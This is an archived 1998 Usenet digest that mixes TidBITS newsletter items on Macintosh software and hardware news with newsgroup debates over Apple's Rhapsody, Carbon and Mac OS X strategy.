* APS Technologies -- 800/443-4199 -- <sales@apstech.com> -- How
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---------------------------------------------------------------
MailBITS/11-May-98
------------------
**Claris Organizer Reincarnated as PalmPilot MacPac** -- 3Com's
Palm Computing division has announced plans to base the next
version of its Macintosh desktop software for the PalmPilot and
Palm III handhelds on Claris Organizer, which 3Com purchased from
Apple for an undisclosed sum. (For more about the PalmPilot, see
Jeff Carlson's recent series of articles.) The upcoming Palm
MacPac should also include an extensible Macintosh HotSync conduit
(essentially, the link that ferries data from Palm devices to the
Mac), enabling developers to include support for Palm-based data
in their applications. Registered owners of MacPac 1.0 will be
able to download the new software in several months for free (it
will be available online for 60 days after its release). New Palm
device owners will be able to order the MacPac (which includes a
cable adapter to work with Macintosh ADB ports) for $14.95. [JLC]
<http://www.palmpilot.com/newspromo/mac_index.html>
<http://db.tidbits.com/getbits.acgi?tbser=1030>
**New Apple Storefronts Perform** -- Slightly lost within last
week's hardware announcements were the openings of the Apple Store
for Education and the Apple Store UK, the first step in making the
Apple Store available to users in Sweden, Holland, France,
Germany, Australia, and Japan. It's great to see Apple finally
opening up online ordering to the education community and to
international Macintosh users. Success came quickly to the Apple
Store for Education, as it received over $1 million in orders
during its first 24 hours of business. Apple also noted that
thanks to the new PowerBook G3s, the main Apple Store received a
record $1.9 million in orders in a single 24-hour period. [ACE]
<http://www.apple.com/pr/library/1998/may/6store.html>
<http://www.apple.com/education/store/>
<http://www.apple.com/ukstore/>
<http://www.apple.com/pr/library/1998/may/8sales.html>
<http://www.apple.com/store/>
**John Norstad Retires Disinfectant** -- John Norstad announced
last week that he has retired Disinfectant, his free anti-virus
utility. John considered updating the utility to combat the
recently discovered Autostart-9805 worm (see "Autostart Worm
Breaks Malware Silence" in TidBITS-428_) but decided to direct his
software's loyal users to commercial utilities such as Dr.
Solomon's Anti-Virus Toolkit, Virex, or Symantec AntiVirus for
Macintosh. His announcement said, "I made this decision not
because of the new Autostart-9805 worm, but rather because of the
widespread and dangerous Microsoft macro virus problem." (See
TidBITS's article series on macro viruses.) He felt that
Disinfectant had been inadequate protection for some time, and
continuing to update it would unfairly give users a false sense of
security. John began work on Disinfectant in the spring of 1988,
and Northwestern University released the first version to the
public in March of 1989. [MHA]
<ftp://ftp.nwu.edu/pub/disinfectant/>
<http://db.tidbits.com/getbits.acgi?tbart=04864>
<http://www.drsolomon.com/products/avtk/ps_mac.html>
<http://www.drsolomon.com/products/virex/>
<http://www.symantec.com/sam/>
<http://db.tidbits.com/getbits.acgi?tbser=1000>
**Quicken Speeds Back to Mac** -- Less than three weeks after
Intuit publicly discontinued further development of Quicken for
the Macintosh (see "Financial Competition?" in TidBITS-427_),
Apple and Intuit have announced a recommitment to future versions
of the financial-management software. According to a joint press
release, Intuit changed its mind after learning Apple's plans for
the consumer market, which has been stagnant in recent months due
to Apple's focus on high-end Power Mac G3 machines. In fact,
Quicken 98 Deluxe will ship with Apple's forthcoming consumer-
oriented iMac. Intuit will continue to promote Quicken 98 and
plans to ship a new version of Quicken in 1999. In addition,
Intuit will continue to create Web-based features for Mac users.
[JLC]
<http://www.quicken.com/>
<http://db.tidbits.com/getbits.acgi?tbart=04851>
<http://biz.yahoo.com/prnews/980505/ca_apple_i_1.html>
-> Alice4Mac 2.4.4 E QWK Hiya:05Nov94
From: mbkennel@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 12 May 1998 06:16:01 GMT
Organization: The Avant-Garde of the Now, Ltd.
Message-ID: <slrn6lfq90.eph.mbkennel@lyapunov.ucsd.edu>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <3557C5B4.81BDA525@loa.com>
On Mon, 11 May 1998 23:44:52 -0400, Ari <ari@loa.com> wrote:
:> > In article <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu>,
:> > pulsar@springnet1.com (Pulsar) wrote:
:> >
:> > > You're overreacting! There are still things that are unclear! Making
:> > > definitive judgements based on this evidence is only going to get you
:> > > angry.
:
:As far as I can tell, if Steve Jobs said the following (quoted from cnet), then
:rhapsody is *clearly* screwed. Why would adobe, macromedia, MS even bother writing
:for the yellow box now, they just have 10% more work to do for "carbon." Is this
:"ASDE" just for shareware writers, ex-openstep developers, and college hackers?
:Aren't there benefits to a completely object oriented environment?
Yes. Of course.
Why does it matter to you that Adobe and Macromedia and Microsoft write for
the Yellow Box?
If they don't want to use good object technology, that's their problem.
Perhaps they'll be woken up when three hackers in a garage kick their butt
with some OpenStep apps. Like, um, for instance, a web browser written by 3
people part time, which is better than IE and Netscape and runs on Mac and
Windows?
:"Rhapsody was great technology...The problem was when you ran existing
:[applications] in the 'Blue Box,' you didn't get any new features," Jobs said.
:"Nobody wanted to do this. We came to the conclusion that Rhapsody didn't give us
:what we wanted."
:
:What are these precious features that blue box apps can't do without?
Functioning in a window equal to all other windows? Not crashing each other?
High performance event handling? High performance I/O?
:The need for backward compatibility has set back personal computing about 10 years.
:MacOS X still won't be as nice as a purely yellow box rhapsody on mach. All I want
:is OpenStep 5 damnit :)
You're getting it. OpenStep 5 with a /usr/lib/libMacOS.a to satisfy
the big babies, especially the one in Washington.
Software companies are stupid. Look, in 1989 already, Steve's company had
an API which was so incredibly unbelievably stupendously better than
everything else at the time except for a few Lisp machines folornly decaying
in museums and cognitive science departments.
And look where it got them?
Jobs has learned that you have to trick them, rather like hiding medicine in
a dog's bowl of chow. Give them something new, and call it something old
and make it have the surface appearance of something familiar.
Like, why does Java still have syntax from C, even when it is clearly bad?
In the first year of its adoption, this was absolutely critical, otherwise
no ''real programmer'' would have dared look at it. The prejudice at the
time was that ''real languages'' associated with success looked like C and
C++, and ''nanny languages'' and ''ivory tower languages'' looked like Ada
or Eiffel or Pascal or Lisp and were associated with failure.
Of course, now that it's socially OK to like Java, people recognize that its
semantics are wholly different from C++ and the resemblence in syntax is
trivial and superficial and unnecessary.
In two years, all those big name developers who reject Yellow Box today will
be saying how great the JavaStep toolboxes are and how they couldn't imagine
anybody stupid enough to want those crufty MacOS interfaces.
Like it or not, OpenStep today is associated with 'failure'.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: sheppard.gordon@relaynet.org (SHEPPARD GORDON)
Newsgroups: comp.sys.next.advocacy
Subject: TidBITS#429/11-May-98 2
Date: Tue, 12 May 98 01:39:00 -0400
Organization: RelayNet, Brooklyn, NY (718) 692-2498
Distribution: World
Message-ID: <8EEF063.09B6007128.uuout@relaynet.org>
The Final Word on Multiple Monitors
-----------------------------------
by Adam C. Engst <ace@tidbits.com>
If the Mac's support for multiple monitors weren't one of my
favorite bragging points, I'd have stopped these notes long ago.
However, useful information continues to trickle in, much of it on
TidBITS Talk, and it's of sufficient interest to pass on here as
well.
<http://www.tidbits.com/about/tidbits-talk.html>
<http://db.tidbits.com/getbits.acgi?tbser=1033>
First, Tarik Sivonen <sivonen@pop3.cybertours.com> comments that
an article by Chris O'Malley in PC Computing's May 1998 issue
reviews 17-inch and 19-inch monitors, and more importantly,
includes the results of usability testing and return-on-investment
analysis. The conclusion? In comparison with a 15-inch monitor, a
19-inch monitor can pay for itself within two months. Overall
productivity gains in spreadsheet tasks, word processing, and Web
browsing increased between about 12 percent and 27 percent for
users of 19-inch monitors (again, as compared to those using
15-inch monitors). 17-inch monitors were almost as good for word
processing and Web browsing, though not as good for spreadsheet
work.
<http://www.zdnet.com/pccomp/features/excl0598/monitor/roi.html>
Second, readers submitted additional ways of recovering windows
and dialog boxes you can't see after disconnecting a second
monitor.
* If your Mac supports duplicate monitors (video mirroring), you
may be able to recover windows by dragging one onto the other in
the Monitors & Sound control panel. Not all desktop Macs have this
feature.
* Install the $10 shareware control panel DragAnyWindow (a 111K
download) from the prolific Alessandro Levi Montalcini.
DragAnyWindow enables you to move any window, including dialogs,
alerts, game windows, and windows that have disappeared.
DragAnyWindow would also be useful for older Macs with 9-inch
screens when dealing with overly large dialogs.
<http://www.montalcini.com/binhex/drag-any-window-43.hqx>
* Install the $10 shareware program Virtual. When you quit
Virtual, it moves all open windows onto the main screen. Virtual
is a 329K download.
<http://olympe.netsurf.org/~pilp/VirtualF/>
* Use Ross Brown's freeware Virtual Desktop 1.9.2, which, upon
launch, adjusts its scroll bars so you can scroll to any existing
window or desktop icon. Virtual Desktop is a 217K download
<ftp://mirrors.aol.com/pub/info-mac/gui/virtual-desktop-192.hqx>
* Finally, if you've removed only the monitor, also try removing
the video card, since sometimes the Mac will see a monitor if the
card is still installed.
InformINIT: Your Personal Macintosh Informant
---------------------------------------------
by Adam C. Engst <ace@tidbits.com>
When I visit my parents, my father and I always sit down at their
Macintosh and look at what's ended up in its System Folder since
my last visit. I have a decent idea what many files are, but over
the years, the possibilities have begun to overwhelm me. Luckily,
even when I'm not positive, I can generally guess whether an
extension or control panel is necessary, since my father is
ruthless during these sessions. "What's that?" he'll ask, pointing
at an oddly named extension. "I'm not sure," I'll reply, "but I
think it's related to synchronizing the colors on your monitor
with your printer." "Do I need it?" he'll demand. "No, I don't
think so." "Then trash it."
Next time, I'm bringing a copy of Dan Frakes's $15 shareware
InformINIT 8.1, the latest release of his huge compendium of
descriptions, notes, and information about extensions, control
panels, shared libraries, and other denizens of your System Folder
from both Apple and other companies. Dan has produced InformINIT
for several years, and the latest version includes information
about Mac OS 8.1, Microsoft Office 98, and so on.
Be sure to read the "How to use InformINIT" section in InformINIT,
or some of the color coding and shorthand notations will befuddle
you. Dan has helpfully marked items specific to Mac OS 8 and Mac
OS 8.1, items that are compatible with either release, 68K-
specific items, and so on. In addition, he has sprinkled URLs
throughout InformINIT; clicking the tiny NN or IE buttons next to
a URL opens the associated Web site in either Netscape Navigator
or Internet Explorer.
I'm impressed with the work Dan must have put in to research,
compile, and categorize this information. It's a herculean
undertaking, and reportedly, even Apple's technical support folks
use InformINIT (as should anyone who supports Macs). Dan also has
extensive information on versions of system software since 7.5.3,
including the Mac models that each version supports, plus lists of
known problems and incompatibilities. If you're considering
switching system software, a quick read through appropriate
sections in InformINIT might reveal important information.
My main complaints with InformINIT relate to the fact that it's a
stand-alone document in Green Mountain Software's DOCMaker.
Although DOCMaker offers features necessary for such a large work
as InformINIT, such as Find, multiple methods of navigation,
styled text, graphics, and URL launching, many of those features
don't go far enough. For instance, the Find dialog box is system
modal, which means not only can't you do anything else in
InformINIT with the Find dialog open, you can't even switch to
another application and work there. URL launching is nice, but if
DOCMaker supported Internet Config, InformINIT wouldn't have to
include buttons for both Netscape Navigator and Internet Explorer.
And finally, I'd appreciate being allowed to change the font size
- InformINIT's Geneva 9-point default is too small for me; but
DOCMaker offers no zooming or font modification capabilities. Dan
said that he's planning on releasing a larger-type version of
InformINIT.
<http://www.hsv.tis.net/~greenmtn/docm1.html>
So, next time you're wondering what "jgdw.ppc" is (and if you can
delete it), download InformINIT and do a search. Make sure to
register your copy - although InformINIT is content, rather than
code, it's still $15 shareware and Dan deserves support for the
service he's done for the Macintosh community in compiling
InformINIT. InformINIT is a 467K download from the mirror sites
listed at the InformINIT Web page below.
<http://cafe.AmbrosiaSW.com/DEF/InformINIT.html>
-> Alice4Mac 2.4.4 E QWK Hiya:05Nov94
From: markeaton@mindspring.canned-meat-filter.com (Mark Eaton)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X
Date: Mon, 11 May 1998 23:27:17 -0700
Organization: MindSpring Enterprises
Message-ID: <markeaton-1105982327180001@209.86.154.31>
References: <6j7roi$m57$1@nnrp1.dejanews.com> <pulsar-ya02408000R1105981731400001@news-proxy.cso.uiuc.edu>
In article <pulsar-ya02408000R1105981731400001@news-proxy.cso.uiuc.edu>,
pulsar@springnet1.com (Pulsar) wrote:
> I think everything up to the Blue Box is right. What I believe is happening
> is that there will be the "Carbon" API that is a subset of the current Mac
> OS API which has been modified so that apps using it can take advantage of
> preemptive multitasking, protected memory, and better virtual memory. This
> will require modification of current apps to run in this new environment.
> Current Mac OS apps will probably not run unmodified in this environment.
>
> In addition to the Yellow Box and the Carbon APIs, there will be the Blue
> Box. (This is mostly speculation on my part since this wasn't entirely
> clear). Yellow Box covers the Rhapsody part. The Carbon APIs cover the
> updated Mac OS part, and the Blue Box covers the legacy Mac OS apps part so
> that old PPC and 68k apps will still run in Mac OS X.
>
> In a nutshell, the Blue Box will be included with Mac OS X (as I understand
> today's announcements anyway... I could be wrong).
You've got it correct. Carbon and Yellow will be sharing common core OS
services.
-mark
From: joecosby@seatac.net
Newsgroups: comp.sys.next.advocacy,comp.unix.advocacy,comp.sys.amiga.advocacy,comp.os.os2.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Date: Tue, 12 May 1998 06:15:21 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6j8pdo$ri$1@nnrp1.dejanews.com>
References: <gmgraves-2604981232290001@sf-pm5-2-66.dialup.slip.net> <3544B94D.AEA0CC67@algonet.se> <01HW.B16A93530002A33B01453580@news.sprynet.com> <35454ac1.6431001@news.tiac.net> <01HW.B16BA6800002814C01048570@news.sprynet.com> <3546a44e.7747984@news.tiac.net> <02HW.B16CF7900002260600D99280@news.sprynet.com> <3548690e.3684017@news.tiac.net> <02HW.B16E55E400061D2400ED1970@news.sprynet.com> <354bcd0e.7636866@news.tiac.net> <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <Pine.BSF.3.96.980504131937.4385B-100000@shell4.ba.best.com> <354F8C6A.75EE@earthlink.net>
In article <354F8C6A.75EE@earthlink.net>,
skellener@earthlink.net wrote:
>
> darknerd@shell4.ba.best.com wrote:
> > I'm finding that more and more games are NOT supporting WindowsNT 4.0. I
> > recently explored Micro$oft's DirectX developer's site (DirectX being the
> > game technology), and found the latest version of DirectX is NOT supported
> > on WindowsNT 4.0, but rather be supported in WindowsNT 5.0 which forces me
> > to upgrade.
> >
> > This SUCKS!!!!
>
> But that is the M$ way!!!
>
> Has Word ever supported the same file format (in it's history?) when a
> new version came out? No. There's always a NEW one to UPGRADE to.
> That way, while you can still write old formats, you'll eventually HAVE
> to get the latest and ....er....uh....greatest? version of the software.
>
> They're lousy at software but smart at marketing!
Marketing? ROTFL!
Stringing along the same customers year after year, sucking them into
paying for the 'upgrades'? 'Marketing' is hardly the word.
'There's a sucker born every minute', as the man said. The genius of
Microsoft is that they inspire sucker -loyalty-.
>
> Steve
>
>
-----------------------------------------------------------------------------
"Is not life a hundred times too short for us to bore ourselves?" - Nietzsche
-----------------------------------------------------------------------------
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
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From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Mon, 11 May 1998 23:31:07 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1d8vyug.y46iim1l6tw8wN@sextans111.wco.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104>
Eric Bennett <ericb@pobox.com> wrote:
> I know. But what are Apple's plans for Rhapsody? We were supposed to
> learn Apple's OS strategy at WWDC, and there is precious little about
> Rhapsody. All I'm hearing is "we'll ship version 1.0." Fine; what comes
> after that? If Apple revealed its OS strategy today, then I can only
> conclude that Apple has *no* strategy for Rhapsody.
The prupose of a keynote speech is to set a key note for the conference,
not to provide an in depth explorationof all the possibilities and
implications. That's what the other sessions are for.
The Foundation and AppKit sessions on Tuseday will cover the current and
future directions pretty well. There's nto much change in direction
other that integrating support for shared functionality with the Carbon
APIs.
> I will probably buy Rhapsody 1.0 and be quite happy with it. My concern
> is that Apple is still a long way away from shipping a mainstream modern
> OS. MacOS 8.x is Apple's mainstream OS until late 1999 at the earliest.
> We were *supposed* to have Rhapsody as Apple's new mainstream OS as of
> last January. We were *supposed* to have Copland before that. Well, at
> least it looks like Rhapsody will ship, even if it will be downplayed.
Well,to be blunt, the MacOS/Carbon APIs are more mainstream than the
Yellow Box APIs. Doesn't mean they are better, just that they are what
the existing Mac codebase is written to.
The whole idea behind Carbon is to minimize the 'speed bump' current
MacOS developers need to cross to get their apps on a modern OS. Once
there, I expect many of them will explore the Yellow APIs for new app
development.
>
> Who do you trust? It's probably going to be the same as for Rhapsody; the
> official line will be, "We promise it will run on G3s but
> maybe--MAYBE--we'll support older machines too." (Yeah, right...)
You've got to pick a target. Might as well make it a nice one.
Additional systems can be supported based on available engineering
resources and market demand, but you've got to pick a starting point.
> In other words, you can count out all of today's major software
> publishers? I see Adobe happily demoing Photoshop on Carbon. But they
> aren't porting to Rhapsody (no demos there), nor is Apple giving them a
> reason to do so.
It's all cost/benefits tradeoffs. Are the benefits of adapting a new
API/platform worth rewriting an app and retraining all the programmers?
Heck, Windows 95, with the huge market exposure and all, was barely
enough.
Lets minimize the 'speed bump' current MacOS developers need to cross to
get their apps on a modern OS. Better cost/benifits ratio.
> The yellow box and cross-compilation are great, but not if everybody
> writes to nonportable Carbon APIs instead. [An x86 blue box would sure be
> nice, but there is no indication that this will happen.]
Who says they're not portable??? :-)
Erf, erf, erf...
> It's looking more and more like Apple didn't get much useful stuff out of
> the NeXT purchase than Mr. Jobs. They're paying little attention to the
> OS they paid for with $400 million. I'm certainly paying attention to it,
> but I wish Apple would too.
Well, it is the core of MacOS X. Does that count?
--
Mike Paquette mpaque@wco.com
"Struggling Apple Computer" and the "Struggling Apple" logo are
trade and service marks of Apple Computer, Inc.
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Mon, 11 May 1998 23:31:16 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1d8vzke.13nwr541xiuw84N@sextans111.wco.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <6j82vd$1cc$1@ironhorse.plsys.co.uk> <see-below-1105981809120001@209.24.240.244>
Matthew Vaughan <see-below@not-my-address.com> wrote:
> > The people to blame are the Mac developers, and the Big Brand names in
> > particular, who didn't stand up and embrace Rhapsody.
>
> I disagree. Apple has yet to give them a compelling reason to do so.
Actually, Apple's job is to give develoers what they say they need to be
successful. The folks who will move the Big Brands into looking at
Yellow APIs will be all the small shops whose low overhead and
innovatiev products will be eating their lunch.
Competition and all that free market jazz, y'know...
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X
Date: Mon, 11 May 1998 23:31:19 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1d8vzxh.bbqkhd169j8ybN@sextans111.wco.com>
References: <6j7roi$m57$1@nnrp1.dejanews.com> <pulsar-ya02408000R1105981731400001@news-proxy.cso.uiuc.edu>
Pulsar <pulsar@springnet1.com> wrote:
> In addition to the Yellow Box and the Carbon APIs, there will be the Blue
> Box. (This is mostly speculation on my part since this wasn't entirely
> clear). Yellow Box covers the Rhapsody part. The Carbon APIs cover the
> updated Mac OS part, and the Blue Box covers the legacy Mac OS apps part so
> that old PPC and 68k apps will still run in Mac OS X.
You've got it.
Existing MacOS apps (68K & PPC) run in the Blue Box. (Covered in
Thursday's session)
Carbon apps run native PPC code in protected address spaces with modern
OS services.
Yellow apps run alonside the Carbon apps.
--
Mike Paquette mpaque@wco.com
Rhapsody + Carbon == MacOS X
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X: it's all over
Date: Mon, 11 May 1998 23:31:21 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1d8w02l.8jafl315dbwx8N@sextans111.wco.com>
References: <6j8fet$k2n$1@walter.cs.umd.edu>
Sean Luke <seanl@cs.umd.edu> wrote:
>
> This announcement practically guarantees that no one will develop for the
> Yellow Box. Why develop for an API whose future design is uncertain, which
> is being deemphasized in public statements, whose basic drawing engine is
> being eliminated and whose very existence isn't necessary to enjoy preemptive
> multitasking, kernel-level multithreading, and memory protection?
Probably because a developer can be about 5x as productive using the
Yellow APIs. Existing apps get ported using Carbon. New apps are
developed using Yellow, or Carbon for those who don't want to use new
APIs, automated Java bridging, distributed objects, or any of that
new-fangled stuff.
Mike Paquette
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Mon, 11 May 1998 23:31:27 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1d8w09f.1e69mol1xtilxrN@sextans111.wco.com>
References: <B17C8D50-7E886@206.165.43.134>
Lawson English <english@primenet.com> wrote:
> Factor out all the "bad" system/toolbox calls, add a few new ones, provide
> tools to make support for MacOS 10 (a skip of 9 saves time?), and
> everything is good?
>
> Rhapsody is now just a framework (I gather) to make developing for MacOS
> better?
Carbon is a framework (a couple of them, actually) inside Rhapsody.
> Ummmm...
Indeed.
> Sounds like a $400 million solution to me.
>
> Did I miss something?
You just wouldn't be you if you didn't miss something.
>
> Did this sound a little high on hype and low on content? I presume that the
> rest of the conference will flesh things out...
Yes, it will.
> And what is the WWDC attendance, anyway? As bad, worse, or better than
> expected?
More than last year, about what was expected.
--
Mike Paquette mpaque@wco.com
I'm not an officer, spokesperson, or high muckety-muck of Apple
Computer. I don't speak for Apple, and they don't speak for me.
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Mon, 11 May 1998 23:31:31 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1d8w0eb.ix3yj81ov0pvhN@sextans111.wco.com>
References: <B17C8D50-7E886@206.165.43.134> <35573831.69E8CDC6@milestonerdl.com> <rex-1105981539090001@192.168.0.3>
Eric King <rex@smallandmighty.com> wrote:
> I think it's pretty obvious from the press release that Carbon is going
> to be the current Mac Toolbox with certain problem areas, most likely
> Quickdraw, the Window, Dialog, etc. managers significantly altered or
> replaced altogether. This is separate from the Yellow Box, and sounds
> somewhat like what the Latitude libraries provided.
The problem areas are really things like folks chasing resource chains
through low memory, rolling their own File Control Blocks, and doing
ungodly things with the system heap.
The MacOS X docs on devworld.apple.com cover most of the nasties in
detail.
--
Mike Paquette mpaque@wco.com
"Struggling Apple Computer" and the "Struggling Apple" logo are
trade and service marks of Apple Computer, Inc.
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Mon, 11 May 1998 23:31:34 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1d8w0jl.1smchqu1mfmyjrN@sextans111.wco.com>
References: <B17C8D50-7E886@206.165.43.134> <35573831.69E8CDC6@milestonerdl.com> <rex-1105981539090001@192.168.0.3> <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <35574B32.2D3298EB@milestonerdl.com>
M Rassbach <mark@milestonerdl.com> wrote:
> Lets change the OS so it breaks everybodys Apps. Then, the users can pay the
> application makers to un-break things.
Existing apps will run in the Blue Box. Developers can start testing
for compatability now (or even 6 months ago).
--
Mike Paquette mpaque@wco.com
"Struggling Apple Computer" and the "Struggling Apple" logo are
trade and service marks of Apple Computer, Inc.
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Mon, 11 May 1998 23:31:38 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1d8w0m8.1l6ain5vpn570N@sextans111.wco.com>
References: <B17C8D50-7E886@206.165.43.134> <35573831.69E8CDC6@milestonerdl.com> <rex-1105981539090001@192.168.0.3> <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <35574B32.2D3298EB@milestonerdl.com> <pulsar-ya02408000R1105981551070001@news-proxy.cso.uiuc.edu> <B17CCC79-3D130@206.165.43.153> <pulsar-ya02408000R1105981810110001@news-proxy.cso.uiuc.edu> <6j84tn$1cc$3@ironhorse.plsys.co.uk>
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> From the Carbon Reference paper (p65):
>
> MacOS X will not run 68K code.
Correct. These existing apps will run in the Blue Box. This is covered
in a session on Thursday.
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Mon, 11 May 1998 23:31:41 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1d8w0r1.1be2ydxuk415dN@sextans111.wco.com>
References: <B17C8D50-7E886@206.165.43.134> <6j83mg$1cc$2@ironhorse.plsys.co.uk> <B17D23E3-9037@206.165.43.13>
Lawson English <english@primenet.com> wrote:
> 1) If a Blue Box for non-Carbon apps isn't supported, this really fractures
> the MacOS development market.
Blue Box is present in MacOS X, to run existing apps.
> 2) if you haven't noticed, my favorite graphics engine didn't make the
> grade.
I'm having T-shirts made up. They'll paraphrase a famous South Park
line. Want one?
> The only way to produce 2D graphics using Carbon is 32-bit QuickDraw.
No. This will become clearer Thursday afternoon :-)
-
Mike Paquette I don't speak for Apple, and they don't speak for me.
mpaque@wco.com
From: markeaton@mindspring.canned-meat-filter.com (Mark Eaton)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Mon, 11 May 1998 23:35:10 -0700
Organization: MindSpring Enterprises
Message-ID: <markeaton-1105982335100001@209.86.154.31>
References: <ericb-1105981718430001@132.236.171.104> <6j7t4a$v9r$1@crib.bevc.blacksburg.va.us>
In article <6j7t4a$v9r$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> Why are you skeptical of MacOS X's shipping date? It's still not clear
> what it is, but it's either basically BlueBox on top of Mach (which they
> already have in Rhapsody's BlueBox), or Rhapsody itself with Blue and
> Yellow mixed on the same screen (perhaps minus some Unix).
It needs to be stated very clearly: Carbon is *not* the blue box, nor a
blue box derivative, nor based on blue box technologies.
-mark
From: joecosby@seatac.net
Newsgroups: comp.sys.next.advocacy,comp.unix.advocacy,comp.sys.amiga.advocacy,comp.os.os2.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Date: Tue, 12 May 1998 06:26:43 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6j8q32$26e$1@nnrp1.dejanews.com>
References: <gmgraves-2604981232290001@sf-pm5-2-66.dialup.slip.net> <3544B94D.AEA0CC67@algonet.se> <01HW.B16A93530002A33B01453580@news.sprynet.com> <35454ac1.6431001@news.tiac.net> <01HW.B16BA6800002814C01048570@news.sprynet.com> <3546a44e.7747984@news.tiac.net> <02HW.B16CF7900002260600D99280@news.sprynet.com> <3548690e.3684017@news.tiac.net> <02HW.B16E55E400061D2400ED1970@news.sprynet.com> <354bcd0e.7636866@news.tiac.net> <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <Pine.BSF.3.96.980504131937.4385B-100000@shell4.ba.best.com> <354F400E.90F@stud.uni-erlangen.de> <3550A611.2949@zvw._REMOVE_THIS_de> <35507E57.7F0D@stud.uni-erlangen.de> <3551E076.74BD@zvw._REMOVE_THIS_de> <35518A97.5A53@stud.uni-erlangen.de> <355218F4.6194@zvw._REMOVE_THIS_de>
In article <355218F4.6194@zvw._REMOVE_THIS_de>,
ramagnus@zvw._REMOVE_THIS_de wrote:
>
> Matthias Bethke wrote:
> > > And, Microsoft is doing very well in *making* the older os version
> > > obsolete.
> >
> > Sure, guess why!
>
> M$ wouldn't live very long if not.
>
Sure they could! They could just ask their customers for a couple
hundred dollar donation every year. The end result would be more
or less the same.
-----------------------------------------------------------------------------
"Is not life a hundred times too short for us to bore ourselves?" - Nietzsche
-----------------------------------------------------------------------------
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: markeaton@mindspring.canned-meat-filter.com (Mark Eaton)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Mon, 11 May 1998 23:47:36 -0700
Organization: MindSpring Enterprises
Message-ID: <markeaton-1105982347370001@209.86.154.31>
References: <ericb-1105981718430001@132.236.171.104> <6j7rku$cbc$1@pith.uoregon.edu> <6j83ou$fog$1@flotsam.uits.indiana.edu> <st942593-1205980048190001@129.64.124.199>
In article <st942593-1205980048190001@129.64.124.199>,
st942593@pip.cc.brandeis.edu (cpt kangarooski) wrote:
> I suspect that MacOS X will be Rhapsody, with the Yellow Box (and a slew
> of GUI modifications) but that can run Carbon apps in a transparent Blue
UI will be the same across MacOS 8 and MacOS X (Appearance Mgr and Themes)
> Carbon itself is just a step on the longer-term, but more satisfying goal
> of rewriting apps for Yellow Box. 'Course, this last bit hinges on Apple
No one ever has to rewrite anything. Yellow Box will be supported on MacOS
X, but Carbon will always be a supported part of the system.
-mark
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
